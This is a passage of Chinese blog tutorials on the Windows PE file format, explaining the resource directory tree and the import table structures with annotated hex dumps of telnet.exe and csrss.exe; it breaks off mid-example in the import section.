flags，保留用于以后使用，目前都为0。\nTimeDateStamp：资源编译器产生资源的时间。\nMajorVersion：\nMinorVersion：\nNumberOfNamedEntries：用字符串来标示IMAGE_RESOURCE_DIRECTORY_ENTRY项的，紧跟着本结构的IMAGE_RESOURCE_DIRECTORY_ENTRY数组的成员个数。\nNumber of ID Entries：用整形数字来表示IMAGE_RESOURCE_DIRECTORY_ENTRY项的，紧跟着本结构的IMAGE_RESOURCE_DIRECTORY_ENTRY数组的成员个数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; IMAGE_RESOURCE_DIRECTORY后面一定会紧跟着一个IMAGE_RESOURCE_DIRECTORY_ENTRY数组。\nIMAGE_RESOURCE_DIRECTORY_ENTRY结构定义如下。\ntypedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {\nunion {\nstruct {\nDWORD NameOffset:31;\nDWORD NameIsString:1;\n};\nDWORD Name;\nWORD Id;\n};\nunion {\nDWORD OffsetToData;\nstruct {\nDWORD OffsetToDirectory:31;\nDWORD DataIsDirectory:1;\n};\n};\n} IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;\n这个结构长度为8个字节。共有两个字段，每个字段4个字节。\n根据不同情况，这两个字段的含义不一样。这个结构的定义如果看不懂的话，后面的例子一看就会明白了。\n第 一个字段，当第一个字段的最高位是1的时候，表示，这个DWORD的剩下31位表明一个相对于资源开始位置的偏移，这个偏移的内容是一个 IMAGE_RESOURCE_DIR_STRING，用里面的字符串来标明这个IMAGE_RESOURCE_DIRECTORY_ENTRY。当第一 个字段的最高位是0的时候，表示，这个DWORD的低WORD中的值作为id标明这个IMAGE_RESOURCE_DIRECTORY_ENTRY。\n第二个字段，当第二个字段的最高位是1的时候，表示，还有下一层的结构。这个DWORD的剩下31位表明一个相对于资源开始位置的偏移，这个偏移的内容会是一个下一层的IMAGE_RESOURCE_DIRECTORY结构，这个请看后面的例子中的说明。\n当 第二个字段的最高位是0的时候，表示，已经没有下一层的结构了。这个DWORD的剩下31位表明一个相对于资源开始位置的偏移，这个偏移的内容会是一个 IMAGE_RESOURCE_DATA_ENTRY结构，IMAGE_RESOURCE_DATA_ENTRY结构会说明资源的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 标示一个IMAGE_RESOURCE_DIRECTORY_ENTRY一般都是使用id，就是一个整数。\n但是也有少数的使用IMAGE_RESOURCE_DIR_STRING来标示一个IMAGE_RESOURCE_DIRECTORY_ENTRY。\nIMAGE_RESOURCE_DIRECTORY_ENTRY结构定义如下。\ntypedef struct _IMAGE_RESOURCE_DIR_STRING_U {\nWORD Length;\nWCHAR NameString[ 1 ];\n} IMAGE_RESOURCE_DIR_STRING_U, *PIMAGE_RESOURCE_DIR_STRING_U;\n这个结构中将有一个Unicode的字符串，是字对齐的。所有这些用来标识的IMAGE_RESOURCE_DIR_STRING都放在一起，这个结构的长度是可变的，由第一个字段Length指明后面的Unicode字符串的长度。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 经过3层IMAGE_RESOURCE_DIRECTORY_ENTRY（一般是3层，也有可能更少些。第一层资源类型bmp,menu等等，第二层资源 名，第三层是资源的Language。）最终会找到一个IMAGE_RESOURCE_DATA_ENTRY结构，这个结构中存有相应（某资源类型,某资 源名，某资源Language）资源的位置和大小，就真正找到资源了。IMAGE_RESOURCE_DATA_ENTRY定义如下。\ntypedef struct _IMAGE_RESOURCE_DATA_ENTRY {\nDWORD OffsetToData;\nDWORD Size;\nDWORD CodePage;\nDWORD Reserved;\n} IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;\n这个结构长16个字节，有4个字段。\nOffsetToData：这是一个内存中的RVA，要转化成文件中的位置，需要用这个值减去资源节的开始RVA，\n资源节的开始RVA可以由Optional Header中的DataDirectory数组中的第三项中的VirtualAddress的值得到。\n或者节表中，资源节那项中的VirtualAddress的值得到。相减之后，就可以得到相对于资源节开始的偏移。\n再加上资源节在文件中的开始位置，节表中资源节那项中的PointerToRawData的值，就是资源在文件中的位置。\nSize：资源的大小，以字节为单位。\nCodePage：一般来说是Unicode code page。\nReserved：保留，值为0。\n上面是资源各种结构的说明，知道这些结构还远远不够，下面我们通过一个例子来看如何通过这些结构找到资源。\n我们的例子是Win2k中的可执行文件telnet.exe。为了防止大家版本不同，本文附带了这个PE文件。\nPE文件的资源的各种结构放在一个树型结构中，这个结构一般有3层，如图4.1，就是telnet.exe中的情况。\n图4.1\n图中长的长方形表示一个IMAGE_RESOURCE_DIRECTORY结构，长16个字节，简称directory。\n图中短的长方形表示一个IMAGE_RESOURCE_DIRECTORY_ENTRY结构，长8个字节，简称directory_entry。\n图中圆圈表示一个IMAGE_RESOURCE_DATA_ENTRY结构，长16个字节，简称data_entry。\n为了以后的叙述方便还给树的每一个节点起了名字，第一层的叫11,第二层的叫21,22,23,24,第三层的叫31,32,33,34,35,36,37,38,39,310,311,312。\n在资源节开始处，是一个directory结构，这个结构中指明了紧跟在它后面的一个directory_entry结 构数组中的元素的个数。这个directory结构之后，紧跟着的就是那个directory_entry结构数组。他们一起组成了11。就如图4.1中 所示。其他的每个节点，21,22..31,32..312，都是这样,每个 directory结构后面紧跟directory_entry 结构数组。11中的directory_entry结构数组中的每一个元素，都存有到下一层某个节点的偏移。也就是通过directory_entry结 构数组的每个元素可以找到21,22,23,24。其他的节点中情况也是一样。图中看不到的一点是，所有的节点之间都是紧紧的挨在一起存放的，11之后紧 跟着的是21,21之后紧跟着的是22,22之后紧跟着的是23。依此类推。directory_entry结构数组中的每一个元素除了有到下一层某节点 的偏移，（是下一层的节点，还是已经到了最终的data_entry，后面详细叙述）还有一个Name或者Id字段(是Name还是Id后面详细叙述)， 根据不同的层，代表的含义也不一样。第一层的每个directory_entry的这个值，代表类型。比如11的第一个directory_entry的 Id值为3，3代表icon,从这个directory_entry往下的都是都是图标了（关于不同类型值的定义，后面详细叙述）。第二层每个 directory_entry的这个值代表Name,第三层代表Language。11,21,31的左边那个data_entry，的三个值分别为 3,1,409(都是16进制)，就是说是一个图标类型，Name为1h，Language为409h的资源。\n下面我们来通过telnet.exe中资源节的具体内容来看，用开始讲到的寻找资源节在文件中位置的方法，我们找到了资源节在文件中的位置为00013600h。\n我们为了看起来清楚，每一行是一个结构，并且每个结构的不同成员用 / 分开，例如,\n一个directory结构 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 04 00\u0026nbsp;\u0026nbsp;\n可 以看到结构成员，Characteristics为0，TimeDateStamp为0，MajorVersion为4，（如果你不明白为什么是0004 而不是0400的话，请看 《JIURL PE 格式学习总结（一）》中关于 big-endian和little-endian的介绍），MinorVersion为0，NumberOfNamedEntries为0， NumberOfIdEntries为4。\n一个directory_entry结构 03 00 00 00 / 30 00 00 80 可以看到结构 成员，第一个字段的第一个字节00h的二进制为00000000,最高位为0，所以低两个字节中的值为Id，Id为3。第二个字段的第一个字节80h（如 果你不明白为什么第一个字节是80h而不是30h的话，请看 《JIURL PE 格式学习总结（一）》中关于 big-endian和little-endian的介绍）的二进制为10000000，最高位为1 所以说明还有下一层，还没有到叶子，所以第二字段代表到下一层某个节点的偏移 OffsetToData 值为30。\n一个data_entry结构 E0 23 03 00 / 30 01 00 00 / E4 04 00 00 / 00 00 00 00 可 以看到结构成员，OffsetToData为323E0h(这是一个内存中的RVA，要转化成文件中的位置，需要用这个值减去资源节的开始RVA，资源节 的开始RVA可以由Optional Header中的DataDirectory数组中的第三项中的VirtualAddress的值得到。或者节表中，资源节那项中的 VirtualAddress的值得到。相减之后，就可以得到相对于资源节开始的偏移。再加上资源节在文件中的开始位置，节表中资源节那项中的 PointerToRawData的值，就是资源在文件中的位置。)，Size为130h，CodePage为4E4h,Reserved为0。\n下面就是telnet.exe中的内容，可以用16进制编辑器打开附带的telnet.exe对照着看。\n00013600h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 04 00 (directory结构,16字节长。图4.1中11中的directory。0个NamedEntries，4个IdEntries。)\n00013610h: 03 00 00 00 / 30 00 00 80\n(directory_entry 结构,8字节长。图4.1中11中的directory_entry数组第一个元素。第一个字段高位为0，说明第一个字段表示id，由于是第一层，所以类 型id为3。第二个字段高位为1,说明还有下一层，第二字段中的低31位为到图4.1中21的偏移，30+00013600h=00013630h。)\n00013618h: 06 00 00 00 / 50 00 00 80\n00013620h: 0E 00 00 00 / A0 00 00 80\n00013628h: 10 00 00 00 / B8 00 00 80\n00013630h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory21）\n00013640h: 01 00 00 00 / D0 00 00 80 (d0+00013600h=000136d0h。)\n00013648h: 02 00 00 00 / F0 00 00 80\n00013650h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 08 00 （directory22）\n00013660h: 08 00 00 00 / 10 01 00 80\n00013668h: 09 00 00 00 / 30 01 00 80\n00013670h: 0C 00 00 00 / 50 01 00 80\n00013678h: 0D 00 00 00 / 70 01 00 80\n00013680h: 10 00 00 00 / 90 01 00 80\n00013688h: 11 00 00 00 / B0 01 00 80\n00013690h: 12 00 00 00 / D0 01 00 80\n00013698h: 39 00 00 00 / F0 01 00 80\n000136a0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 01 00 / 00 00 (directory结构,16字节长。图4.1中23。1个NamedEntries，0个IdEntries。)\n000136b0h: D0 03 00 80 / 10 02 00 80\n(directory结构中已经表明这是一个NamedEntries,第一个字段中的高位为1，说明第一个字段中的值为一个指向IMAGE_RESOURCE_DIR_STRING结构的偏移，3D0+00013600h=000139D0h。)\n000136b8h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 01 00 （directory24）\n000136c8h: 01 00 00 00 / 30 02 00 80\n000136d0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory31）\n000136e0h: 09 04 00 00 / 50 02 00 00 (directory_entry 结构,8字节长。第一个字段高位为0，说明第一个字段表示id，由于是第三层，所以Language id为409h。第二个字段高位为0,说明已经是叶子了，第二字段中的低31位为到一个data_entry结构的偏移，250+00013600h= 00013850h。)\n000136e8h: 04 08 00 00 / 60 02 00 00\n000136f0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory32）\n00013700h: 09 04 00 00 / 70 02 00 00\n00013708h: 04 08 00 00 / 80 02 00 00\n00013710h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory33）\n00013720h: 09 04 00 00 / 90 02 00 00\n00013728h: 04 08 00 00 / A0 02 00 00\n00013730h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory34）\n00013740h: 09 04 00 00 / B0 02 00 00\n00013748h: 04 08 00 00 / C0 02 00 00\n00013750h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory35）\n00013760h: 09 04 00 00 / D0 02 00 00\n00013768h: 04 08 00 00 / E0 02 00 00\n00013770h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory36）\n00013780h: 09 04 00 00 / F0 02 00 00\n00013788h: 04 08 00 00 / 00 03 00 00\n00013790h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory37）\n000137a0h: 09 04 00 00 / 10 03 00 00\n000137a8h: 04 08 00 00 / 20 03 00 00\n000137b0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory38）\n000137c0h: 09 04 00 00 / 30 03 00 00\n000137c8h: 04 08 00 00 / 40 03 00 00\n000137d0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory39）\n000137e0h: 09 04 00 00 / 50 03 00 00\n000137e8h: 04 08 00 00 / 60 03 00 00\n000137f0h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory310）\n00013800h: 09 04 00 00 / 70 03 00 00\n00013808h: 04 08 00 00 / 80 03 00 00\n00013810h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory311）\n00013820h: 09 04 00 00 / 90 03 00 00\n00013828h: 04 08 00 00 / A0 03 00 00\n00013830h: 00 00 00 00 / 00 00 00 00 / 04 00 / 00 00 / 00 00 / 02 00 （directory312）\n00013840h: 09 04 00 00 / B0 03 00 00\n00013848h: 04 08 00 00 / C0 03 00 00\n00013850h: E0 23 03 00 / 30 01 00 00 / E4 04 00 00 / 00 00 00 00\n（data_entry 结构，16字节长，存有一个资源的RVA和大小。资源节开始处的RVA为32000。先算出该资源相对于资源开始处的偏移323E0-32000= 3E0h。再用偏移加上资源节开始处的文件偏移13600得到该资源在文件中的位置，3E0+13600=139E0h。）\n00013850h: 10 25 03 00 / 30 01 00 00 / E4 04 00 00 / 00 00 00 00\n00013850h: 40 26 03 00 / E8 02 00 00 / E4 04 00 00 / 00 00 00 00\n00013860h: 28 29 03 00 / E8 02 00 00 / E4 04 00 00 / 00 00 00 00\n00013870h: 10 2C 03 00 / 70 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013880h: 80 2C 03 00 / 70 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013890h: F0 2C 03 00 / 56 03 00 00 / E4 04 00 00 / 00 00 00 00\n000138a0h: 48 30 03 00 / C0 01 00 00 / E4 04 00 00 / 00 00 00 00\n000138b0h: F0 2C 03 00 / 56 03 00 00 / E4 04 00 00 / 00 00 00 00\n000138c0h: 48 30 03 00 / C0 01 00 00 / E4 04 00 00 / 00 00 00 00\n000138d0h: 08 32 03 00 / A8 01 00 00 / E4 04 00 00 / 00 00 00 00\n000138e0h: B0 33 03 00 / F4 00 00 00 / E4 04 00 00 / 00 00 00 00\n000138f0h: A4 34 03 00 / B6 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013900h: 5C 35 03 00 / 94 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013910h: F0 35 03 00 / 40 04 00 00 / E4 04 00 00 / 00 00 00 00\n00013920h: 30 3A 03 00 / DC 02 00 00 / E4 04 00 00 / 00 00 00 00\n00013930h: 0C 3D 03 00 / 32 02 00 00 / E4 04 00 00 / 00 00 00 00\n00013940h: 40 3F 03 00 / 90 01 00 00 / E4 04 00 00 / 00 00 00 00\n00013950h: D0 40 03 00 / FC 04 00 00 / E4 04 00 00 / 00 00 00 00\n00013960h: CC 45 03 00 / C0 03 00 00 / E4 04 00 00 / 00 00 00 00\n00013970h: 8C 49 03 00 / B6 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013980h: 44 4A 03 00 / 84 00 00 00 / E4 04 00 00 / 00 00 00 00\n00013990h: C8 4A 03 00 / 22 00 00 00 / E4 04 00 00 / 00 00 00 00\n000139a0h: EC 4A 03 00 / 22 00 00 00 / E4 04 00 00 / 00 00 00 00\n000139b0h: 10 4B 03 00 / 60 03 00 00 / E4 04 00 00 / 00 00 00 00\n000139c0h: 70 4E 03 00 / 60 03 00 00 / E4 04 00 00 / 00 00 00 00\n000139d0h: 06 00 / 54 00 45 00 4C 00 4E 00 45 00 54 00 00 00\n（IMAGE_RESOURCE_DIR_STRING结构，长度可变。第一个字段2个字节长，值为6。表明其后的Unicode字符串长度为6。第二字段是一个Unicode字符串，不包括最后的结束符，长度为6，内容是\u0026quot;TELNET\u0026quot;）\n000139e0h: 28 00 00 00 20 00 00 00 40 00 00 00 01 00 01 00\n000139f0h: \u0026#8230; 需要补充说明的是，每个directory后面紧跟的是directory_entry数组， directory_entry数组的每个元素，有两个字段，每个字段的高位用来判断该字段代表的含义。尤其是第二字段 OffsetToData ，如果高位为1表明还有下一层，指向另一个directory。如果高位为0，表明指向一个data_entry。directory_entry第一个 字段通常都是作为id，里面低WORD中的值，用来标示这个directory_entry，很少的情况下，第一字段保存一个到unicode字符串的偏 移（本例中000136a0h），用字符串来标示这个directory_entry。如果一个directory后两个字段都不为0的话，即后面紧跟的 directory_entry数组既有NamedEntries，又有IDEntries，那么directory_entry数组首先是 NamedEntries之后紧跟着IDEntries。一般情况下都是一般来说都是有三层，第一层中的directory_entry数组的每个元素的 id，代表不同的类型，不同类型的值在 WINGDI.H 中定义如下\n#define RT_CURSOR MAKEINTRESOURCE(1)\n#define RT_BITMAP MAKEINTRESOURCE(2)\n#define RT_ICON MAKEINTRESOURCE(3)\n#define RT_MENU MAKEINTRESOURCE(4)\n#define RT_DIALOG MAKEINTRESOURCE(5)\n#define RT_STRING MAKEINTRESOURCE(6)\n#define RT_FONTDIR MAKEINTRESOURCE(7)\n#define RT_FONT MAKEINTRESOURCE(8)\n#define RT_ACCELERATOR MAKEINTRESOURCE(9)\n#define RT_RCDATA MAKEINTRESOURCE(10)\n#define RT_MESSAGETABLE MAKEINTRESOURCE(11)\n#define DIFFERENCE 11\n#define RT_GROUP_CURSOR MAKEINTRESOURCE((DWORD)RT_CURSOR + DIFFERENCE)\n#define RT_GROUP_ICON MAKEINTRESOURCE((DWORD)RT_ICON + DIFFERENCE)\n#define RT_VERSION MAKEINTRESOURCE(16)\n#define RT_DLGINCLUDE MAKEINTRESOURCE(17)\n#if(WINVER \u0026gt;= 0x0400)\n#define RT_PLUGPLAY MAKEINTRESOURCE(19)\n#define RT_VXD MAKEINTRESOURCE(20)\n#define RT_ANICURSOR MAKEINTRESOURCE(21)\n#define RT_ANIICON MAKEINTRESOURCE(22)\n#endif /* WINVER \u0026gt;= 0x0400 */\n#define RT_HTML MAKEINTRESOURCE(23)\n也有可能有不到三层的情况，比如只有类型和Name两层，没有Language层。 我们再来看几个data_entry\n00013850h: 10 25 03 00 / 30 01 00 00 / E4 04 00 00 / 00 00 00 00\n00013850h: 40 26 03 00 / E8 02 00 00 / E4 04 00 00 / 00 00 00 00\n00013860h: 28 29 03 00 / E8 02 00 00 / E4 04 00 00 / 00 00 00 00\n可 以算出 00013850h 处的 data_entry 中，资源的文件位置为 13B10h（32510-32000+13600) 长度为 130h，所以该资源结束处的位置在文件中的 13C40 h处。而一下个data_entry （00013850h处）中，资源在文件中的位置为 13C40h (32640-32000+13600) 长度为 2E8h。我们可以看到两个资源是首尾相接的，就是说一个资源和另一个资源是紧挨在一起的，中间没有空隙，其他的资源用相同的方法计算，也可以得到同样的 结论。 总结，找到资源节开始的位置，首先是一个directory，后面紧跟着directory_entry数 组，数组的每个元素代表的资源类型不同，通过每个元素，我们可以找到第二层另一个directory，后面紧跟着directory_entry数组。这 一层的数组的每个元素代表的资源Name不同。然后我们可以找到第三层的每个directory，后面紧跟着directory_entry数组。这一层 的数组的每个元素代表的资源Language不同。然后通过每个directory_entry我们可以找到每个data_entry。通过每个 data_entry，我们就可以找到每个真正的资源。\n本部分内容较为复杂，需要多阅读几遍。 三 遍历PE文件中的资源 \u0026nbsp;\u0026nbsp;\u0026nbsp; 遍历那个树型结构，找到每个资源的方法之一是， \u0026nbsp;\u0026nbsp;\u0026nbsp; 一个函数，用来处理directory和它后面紧跟着的directory_entry数组。比如叫 DumpResourceDirectory(),它的参数中的一个是一个directory的地址，函数根据这个地址，得到一个directory结 构，从中得到directory_entry数组元素的个数。然后for循环遍历每个元素，对于每个元素做判断看是否已经到了叶子，也就是 directory_entry的第二个字段的高位是否为0，是1表示没有到叶子，递归调用本函数，不过传入的参数，是根据这个 directory_entry中保存的另一个directory的地址。是0表示已经到了叶子，调用另一个处理叶子的函数，传入相关地址。 \u0026nbsp;\u0026nbsp; 处理叶子的函数，用来处理data_entry结构，负责根据data_entry结构找到真正的资源。比如叫DumpResourceEntry()，它的参数中的一个是一个data_entry的地址。然后跟据data_entry中的值作处理。 \u0026nbsp;\u0026nbsp; 这样，通过递归和判断，就能遍历PE文件中所有的资源。 \u0026nbsp;\u0026nbsp; 用这种方法遍历图4.1中的树，顺序会是11,21,31,32,22,33,34,35,36,37,38,39,310,23,311,24,312。 \u0026nbsp;\u0026nbsp;\u0026nbsp; 这种遍历方法的源程序，可以参考 PEDUMP \u0026#8211; Matt Pietrek 1995 。《Windows95系统程式设计大奥秘》附书源码中有。 完 本文所使用的PE文件 telnet\n","permalink":"https://hessian.cn/p/354.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 程序所用到的各种资源，比如 bmp,cursor,menu,对话框等都存在PE文件中。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们将详细介绍关于资源的各种结构，通过一个例子来说明资源及其相关结构是怎么放在PE文件中的。以及如何在遍历PE文件中的所有资源。我们只最终找到这些资源在文件中的位置和长度。而不具体分析某种资源的格式，比如有个BMP的资源，我们不分析BMP格式。 ","title":"PE 格式学习总结（四）– PE文件中的资源"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 关于输入部分，我们将详细介绍关于输入函数的各种结构，通过一个例子来说明输入函数及其相关结构是怎么放在PE文件中的。以及如何在PE文件中找到这些东西。 一 找到输入部分在文件中位置。\n1.1 得到PE Header在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过DOS Header结构的成员e_lfanew，可以确定PE Header的在文件中的位置。\n1.2 得到文件中节的数目。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 确定PE Header的在文件中的位置之后，就可以确定PE Header中的成员FileHeader和成员OptionalHeader在文件中的位置。根据 FileHeader 中的 成员NumberOfSections 的值，就可以确定文件中节的数目，也就是节表数组中元素的个数。\n1.3 得到节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE Header在文件中的位置加上PE Header结构的大小就可以得到节表在文件中的开始位置。PE Header结构的大小可以由Signature的大小加上FileHeader的大小再加上FileHeader中的 SizeOfOptionalHeade来确定。其实到目前为止SizeOfOptionalHeade也就是结构Optional Header的大小也是固定的,所以整个PE Header结构的大小也是固定。不过为了安全起见，还是用Signature的大小加上FileHeader的大小再加上FileHeader中的SizeOfOptionalHeade来确定比较保险。\n1.4 得到输入部分在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第1.2步中我们确定了文件中节的数目，第1.3步中我们确定了节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在来确定输入部分在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 取得PE Header中的Optional Header中的DataDirectory数组中的第二项，\n也就是输入部分项。DataDirectory[]数组的每项都是IMAGE_DATA_DIRECTORY结构，该结构定义如下。\ntypedef struct _IMAGE_DATA_DIRECTORY {\nDWORD VirtualAddress;\nDWORD Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n取得DataDirectory数组中的第二项中的成员VirtualAddress的值。这个值就是在内存中资源节的RVA。\n如果这个RVA的值为0表示这个PE文件中没有输入部分。\n然后根据节的数目，遍历节表数组。也就是从0到(节表数-1)的每一个节表项。\n每个节在内存中的RVA的范围是从该节表项的成员VirtualAddress字段的值开始（包括这个值），\n到VirtualAddress+Misc.VirtualSize的值结束（不包括这个值）。\n我们遍历整个节表，看我们取得的输入部分的RVA，在哪个节表项的RVA范围之内。\n如果在范围之内，就找到了输入部分所在节的节表项。\n这 个节表项中的 PointerToRawData 中的值，就是输入部分所在节在文件中的位置。这个节表项中的VirtualAddress 中的值，就是输入部分所在节在内存中的RVA。用输入部分的RVA减去输入部分所在节的RVA,就可以得到输入部分在该节内偏移。用这个偏移加上该节的在 文件中的位置，就可以得到输入部分在文件中的位置。即DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress \u0026#8211; SectionTable[i].VirtualAddress + SectionTable[i].PointerToRawData 。\n这样我们就得到了输入部分在文件中开始的位置。\n二 PE文件中的输入部分。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 输入部分，如果要调用别的PE文件中的输出函数，需要那些东西呢？首先需要知道所需函数在哪个文件中，比如函数 NtRaiseHardError 就在PE文件 ntdll.dll 中。所以我们需要一个文件名。而如何找到某个函数的入口地址呢，我们还需要知道该函数的函数名，或者改函数的序号，通过这两者的任一种，我们就可以找到该 函数的入口地址（如果不知道为什么，请看 IURL PE 格式学习总结（二）\u0026#8211; PE文件中的输出函数）。所以我们还需要函数名或者序号，这两者之一。PE文件的输入部分，有这些内容。我们还可以想到，当一个PE文件被执行的时候，它 会把所用的输入函数所在的每一个文件载入内存，并且，根据函数名或者序号，获得每一个输入函数的入口地址，存放起来，在程序执行的时候使用。还有就是，一 个可执行文件一般都使用好几个PE文件（通常是dll）的输出函数。所以需要有多个dll（就说成dll吧，提供输出函数的PE文件差不多都是dll，下 面就按dll说）的相关信息。 \u0026nbsp;\u0026nbsp;\u0026nbsp; 前面我们已经得到了输入部分在文件中开始的位置，在输入部分的最开始，是一个IMAGE_IMPORT_DESCRIPTOR 结构数组，这个数组的最后一个元素内容全为空，标示着这个数组的结束，这个数组的每个元素，保存着一个dll的相关信息。紧跟着这个 IMAGE_IMPORT_DESCRIPTOR数组的是几个紧挨着的DWORD数组， 数组的每个元素存有函数名字符串的RVA，或者直接保存序号，每个数组的最后一项为空，标示结束。这几个数组之后，紧跟着的是dll名字的字符串和各个输 入函数名结构。 IMAGE_IMPORT_DESCRIPTOR 结构在WINNT.H中定义如下。\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR {\nunion {\nDWORD Characteristics; // 0 for terminating null import descriptor\nDWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)\n};\nDWORD TimeDateStamp; // 0 if not bound,\n// -1 if bound, and real datetime stamp\n// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)\n// O.W. date/time stamp of DLL bound to (Old BIND)\nDWORD ForwarderChain; // -1 if no forwarders\nDWORD Name;\nDWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)\n} IMAGE_IMPORT_DESCRIPTOR;\n这个结构长度为20个字节，共有5个字段。\n各字段含义如下：\nOriginalFirstThunk：（在WINNT.H中Characteristics这个叫法已经不对了）这里实际上保存着一个RVA，这 个RVA指向一个DWORD数组，这个数组可以叫做输入查询表。每个数组元素，或者叫一个表项，保存着一个指向函数名的RVA或者保存着一个函数的序号。\nTimeDateStamp：当这个值为0的时候，表明还没有bind。不为0的话，表示已经bind过了。有关bind的内容后面介绍。\nForwarderChain：\nName：一个RVA，这个RVA指向一个ascii以空字符结束的字符串，这个字符串就是本结构对应的dll文件的名字。\nFirstThunk：一个RVA,这个RVA指向一个DWORD数组，这个数组可以叫输入地址表。如果bind了的话，这个数组的每个元素，就是一个输入函数的入口地址。\n输入查询表，就是OriginalFirstThunk所指向的那个DWORD数组，它的每一个元素是一个DWORD值，当最高位为1时，低31位 中的值，就是一个序号。当最高位为0时，这个元素的值就是一个指向一个输入函数名结构的RVA。这个数组的最后一个元素值为空，表示数组的结束。\n输入函数名结构，在WINNT.H中定义如下。\ntypedef struct _IMAGE_IMPORT_BY_NAME {\nWORD Hint;\nBYTE Name[1];\n} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;\n这个结构的长度不定，有两个成员。第一个成员是一个WORD类型，长2个字节，保存着输入函数的序号。第二个成员是一个ascii字符串，这个字符 串是输入函数的名字。为了保证字对齐，可能会在ascii结束符之后再填充一个。比如，1b 01 4e 74 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 00 ，如果不填充最后一个00的话，长度为21个字节，不是字对齐。所以要填充一个00。\n输入地址表，就是FirstThunk所指向的那个DWORD数组，它的每一个元素是一个DWORD值。如果程序已经bind了的话，（判断依据是 TimeDateStamp，TimeDateStamp为0则没有bind）那么这里的每个元素的值，就是一个输入函数的入口地址。如果没有bind的 话，那么在本pe文件执行时，载入器会载入dll文件，获得每一个输入函数的入口地址，并填入这个输入地址表的每一项中。（这些是我猜的，大家但愿我猜对 吧）这个数组的最后一个元素值为空，表示数组的结束。\nbind，从上面的介绍中可以看到，如果没有bind的话，每次pe文件被执行时，载入器都要查询一遍每个函数的入口地址，所以为了优化这一点，就有了bind,把入口点直接存在输入地址表中。\n载入器会载入所需要的dll。注意一下没有bind的情况下，载入器对输入部分所要做的事情。总之，在载入之后，所需的dll（根据文件名）已经都被载入到内存。并且输入地址表中的每一个元素都是一个输入函数的入口地址了。\n下面我们来看一个例子，通过例子就可以明白是怎么回事了。\n我们的例子是Win2k中的exe文件csrss.exe。为了防止大家版本不同，本文附带了这个PE文件。\n每个结构的不同成员用 / 分开。每行是一个结构。可以用16进制编辑器打开附带的 routetab.dll 对照着看。\n括号中内容为注释。\n用开始讲到的寻找输入部分在文件中位置的方法，我们找到了输入部分在文件中的位置为000008DCh。\n我们来计算一下第一个IMAGE_IMPORT_DESCRIPTOR中的OriginalFirstThunk，Name，FirstThunk。\n输入部分所在节的开始rva（由DataDirectory[2]得到）为1000h。输入部分在节在文件中的位置为600h。\nName 为rva(值从结构中可以看到是0000135e，如果你不明白为什么是0000135e而不是5e130000的话，请看 《JIURL PE 格式学习总结（一）》中关于 big-endian和little-endian的介绍)，则Name相对于所在节开始处的偏移为135e-1000。而Name在文件中的位置为 Name在相对于所在节开始的偏移加上所在节开始处在文件中的位置。所以Name在文件中的位置为135eh-1000h+600h=95eh。同样方法 我们可以算出， OriginalFirstThunk：\n1318-1000+600=918。FirstThunk：1000-1000+600=600。\n000008DC: 18 13 00 00 / ff ff ff ff / ff ff ff ff / 5e 13 00 00 / 00 10 00 00 （结构IMAGE_IMPORT_DESCRIPTOR，每个代表一个dll。可以看到两个IMAGE_IMPORT_DESCRIPTOR，所以本PE文件的输入函数，是由两个dll提供的。第三个全为空，表示结束。）\n000008F0: 20 13 00 00 / ff ff ff ff / ff ff ff ff / c2 13 00 00 / 08 10 